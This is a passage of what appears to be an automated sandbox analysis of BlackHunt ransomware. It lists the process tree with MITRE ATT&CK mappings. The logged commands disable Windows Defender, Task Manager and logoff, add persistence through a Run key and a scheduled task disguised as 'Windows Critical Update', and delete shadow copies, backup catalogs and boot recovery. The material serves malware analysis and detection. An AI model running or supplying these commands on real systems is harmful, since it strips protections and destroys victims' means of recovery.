    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F
  2⤵
  PID:2948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2388
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1260
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2488
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2084
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:752
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1904
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:644
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1448

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:896

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:520

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery